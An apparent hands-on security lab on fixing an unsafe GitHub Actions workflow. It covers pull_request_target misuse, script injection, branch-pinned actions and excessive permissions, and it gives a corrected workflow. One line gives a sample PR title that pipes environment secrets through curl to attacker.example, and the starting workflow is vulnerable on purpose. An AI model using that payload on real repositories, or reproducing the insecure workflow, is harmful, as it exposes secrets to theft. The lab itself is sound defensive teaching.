Skip to content

Lab: Secure an Unsafe GitHub Actions Workflow

Lesson 5 of 2Advanced3 min readHands-On Git & GitHub Labs · Security Labs
Time30 minutes
LevelAdvanced
You needReading and editing YAML — no repository required

A workflow was added to label pull requests and post a greeting. It works. It also lets anybody who can open a pull request run arbitrary code with repository secrets.

Every issue below is a real, well-documented vulnerability class — not a hypothetical.

Identify four vulnerabilities by reading the workflow, explain the attack for each, and write the fixed version.

Starting state — the vulnerable workflow

Section titled “Starting state — the vulnerable workflow”
name: PR Helper
on:
pull_request_target:
permissions: write-all
jobs:
greet:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Install and build
run: npm ci && npm run build
- name: Greet the contributor
run: |
echo "Thanks for the PR: ${{ github.event.pull_request.title }}"
- uses: some-org/label-action@main
with:
token: ${{ secrets.GITHUB_TOKEN }}
deploy-key: ${{ secrets.DEPLOY_KEY }}

Read it before continuing. Find as many problems as you can.

  1. Vulnerability 1 — the trigger. What does pull_request_target change compared with pull_request? Combined with the ref: on checkout, what can an attacker do?

  2. Vulnerability 2 — the greeting. The PR title is interpolated into a run: block. Write a PR title that would execute a command on the runner.

  3. Vulnerability 3 — the third-party action. some-org/label-action@main is pinned to a branch. What happens if that repository is compromised, or its maintainer changes?

  4. Vulnerability 4 — permissions. What does write-all grant, and what does this job actually need?

  5. Write the fixed workflow. Preserve the intent — greet contributors, label PRs — while removing every issue.

  6. Then answer the design question: if the build genuinely needs secrets and needs to run against PR code, how do you structure that safely?

1. pull_request runs in the fork’s context: no secrets, read-only token. pull_request_target runs in the base repository’s context — full secrets, write token — but is otherwise identical. Adding ref: head.sha checks out the attacker’s code and then runs npm ci, which executes arbitrary postinstall scripts. That is remote code execution with your secrets present.

2. Expressions are substituted before the shell sees the script. A title of a"; curl -d "$(env | base64)" https://attacker.example ; # becomes part of the command.

3. A tag or branch is mutable. The code you reviewed is not necessarily the code that runs.

4. write-all grants write on contents, packages, deployments, actions and more. A compromised step can push commits or modify workflows to establish persistence.

The core fix is separating untrusted code from privilege.

name: PR Helper
on:
pull_request: # fork context: no secrets, read-only
permissions:
contents: read # least privilege at workflow level
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7 # checks out PR code — no secrets present
- run: npm ci && npm run build
greet:
runs-on: ubuntu-latest
permissions:
pull-requests: write # only what this job needs
steps:
- name: Greet the contributor
env:
TITLE: ${{ github.event.pull_request.title }} # data, not code
run: |
echo "Thanks for the PR: $TITLE"
- uses: some-org/label-action@8d3f21a9c4b7e5d2f1a0b9c8d7e6f5a4b3c2d1e0 # pinned SHA
with:
token: ${{ secrets.GITHUB_TOKEN }}

Fix by fix:

#ProblemFix
1pull_request_target + untrusted checkoutUse pull_request. Untrusted code now runs without secrets.
2Title interpolated into run:Pass through env:. The shell sees a variable, not code.
3Action pinned to @mainPin to a full commit SHA.
4permissions: write-allcontents: read at workflow level; pull-requests: write on the one job.

Also removed: DEPLOY_KEY was passed to a third-party action that had no need for it.

Step 6 — the design question. If privileged work must follow untrusted code, split it across two workflows: one runs the untrusted build with no secrets and uploads an artifact; a second, triggered by workflow_run, downloads that artifact and acts on it without executing it. The privileged half never runs attacker-controlled code.

The single rule: never run untrusted code in a context that holds secrets. Every issue here is a variation of breaking it.

pull_request_target exists for a narrow reason — labelling and commenting on fork PRs, where you need write access but do not need the PR’s code. The moment you check out head.sha under it, you have inverted its entire purpose.

Script injection is the subtle one. It needs no fork and no unusual trigger — just a workflow that interpolates any attacker-controllable text into a shell command. Titles, branch names, issue bodies and commit messages all qualify.

Mutable tags are a supply-chain gap. Pinning to a SHA is the difference between a reviewed dependency and a trusted one.

Least privilege bounds the damage. None of the above becomes harmless with tight permissions, but a compromised step with contents: read cannot rewrite your workflows to persist.

Ship an infrastructure change through a pull request — apply this to a GitOps workflow.

Choose a learning pathA sequenced route through the curriculum for wherever you are now.